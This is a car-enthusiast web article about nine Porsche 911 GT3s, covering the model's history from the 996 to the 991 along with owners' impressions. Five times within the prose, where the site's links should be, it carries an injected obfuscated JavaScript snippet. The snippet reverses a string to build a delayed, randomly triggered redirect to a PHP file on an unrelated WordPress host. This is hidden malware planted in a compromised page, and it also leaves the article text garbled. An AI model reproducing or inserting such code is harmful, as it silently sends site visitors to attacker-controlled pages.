Spending time with NINE Porsche 911 GT3s

crankandpiston takes a quick look at the illustrious history of the Porsche 911 GT3 by surrounding itself with NINE different specimens.  

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$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche. It’s a name that stirs a thought or two for enthusiasts of the four-wheeled persuasion. But today is no day for simply nattering about the brand or ‘any old Porsche’. With the latest generation 991 GT3 now entering production, today is a day for talking about arguably the purest driver’s car in the Porsche line up since the end of the air-cooled RS models. Today we are celebrating the legend that is the Porsche 911 GT3 by surrounding ourselves with nine – yep, NINE – examples of the breed, from the race-car inspired 996 to the all-new 468bhp 991.

The $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=porsche+911+gt3″ target=”_blank”>Porsche GT3 started life in 1999, born through Porsche’s desire to race, which meant production of a homologated road-going model had to get the green light first. After much discussion, the new 996 GT3 was designed to be more like the 964RS Touring of old, boasting creature comforts taken directly over from the Carrera models and thus making it less ‘hardcore’ than regular RS models, but still boasting formidable handling.

Another twist is that Porsche, at the time, was looking to make a return to GT1 racing, which required a completely new engine. Step forward Hans Mezger, the man behind Porsche’s flat six for the 911 and developer of many iconic race cars since he joined the company in 1956. He would be best remembered though for the last engineering masterpiece before his retirement in 1994: the ‘Mezger’ engine. Said unit encompassed a 964 engine block mated to a couple of turbochargers to produce 592bhp. It was a gem of an engine, although a tad expensive. To spread the costs, Porsche adapted different versions for use in not only other race cars but also in high performance street cars such as the GT3, a legacy that would continue for the next 15 years.

Which brings us neatly to our nine-strong GT3 collection here today, at the centre of which is the grandfather of every subsequent GT3, a grey 2000 996 GT3 Mk I. Owner Martin Baerschmidt is a true Porschephile, as evidenced by the fact that he owns not just one but two GT3s (the white 997.1 GT3 directly behind him is also his). “The 996 drives like it’s on ice skates,” Martin explains. “The steering wheel bobs on the move as if recognising small bumps in the tarmac surface. The turn-in is superb, and when you get on the power, 355bhp from the 3.6-litre flat-six assists with the exit strategy and pointing the car in the right direction.”

Having piloted the 996 down to the shoot today I couldn’t have said it better myself. It really is a very special car, and that’s after eight years of ownership and 125,000km extra put on the clock. A revised version – the Mk II – was launched in 2003 with a bump from 355bhp to 376bhp with the same 3.6-litre engine. The first water-cooled RS (short for the German word Rennsport, which means racing) was released shortly after, sans equipment to save weight and with a new aero kit and tweaked suspension.

In 2007 though a new platform – the new 997 – meant a new GT3. Engine capacity remained at 3.6 litres but power took a substantial hike to 409bhp. The new 997 platform also brought along traction control, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche Stability Management (PSM) and Porsche Active Suspension Management (PASM), making for a more compliant GT3 all round. It was an instant success and remains highly regarded, emphasised by the fact that we have six here today.

Mat Kennedy (white GT3) fails to describe what he feels towards his 997.1 GT3 in one word, instead using several such as ‘intoxicating’, ‘mind blowing’ and ‘erotic’ amongst others I dare not type. “My jaw dropped and I felt pure euphoria,” Mat explains on seeing his 997.1 for the first time. “That is the precise moment my obsession began”.

One car that shows the true duality of the GT3 is Pierre Santoni’s grey 2007 997 GT3 which has over 117,000km on the clock, hundreds of which have been on track. “The number of kilometres says more than enough” he explains, and it’s a car which has not just seen the mall parking lots evidenced by the fact it’s on its fifth set of front discs.

The silver 2008 997 GT3 belongs to group new boy Steve Jones, and of the 61,000km on the clock he comments, “I’m somewhat embarrassed that 99 per cent of the mileage has been on the road. But it’s a supercar you can use every day, that demands your constant attention but is never tiresome.” Steve goes on to say, “there is no substitute”, to which all here will agree.

Sitting pretty behind that is Martin’s Carrera White 997 GT3, which he bought new in 2008 from $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche Centre Dubai. Some may order a white car to match their kitchen appliances but Martin assures me there are better reasons. “I ordered white for maximum contrast with the black lip spoiler and intake grille, so it all adds to the aggressive front end styling.” The 997 GT3 is an improvement in every way over the 996 GT3 though lacks the rawness of the original (though that’s not to say the 997 can’t get the hairs on the neck quivering). With only 45,000km on the clock Martin doesn’t drive the 997 a great deal and only pulls out the big gun these days for $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche-club-uae/” target=”_blank”>Porsche Club UAE track days. And crankandpiston.com shoots.

Categories: Road


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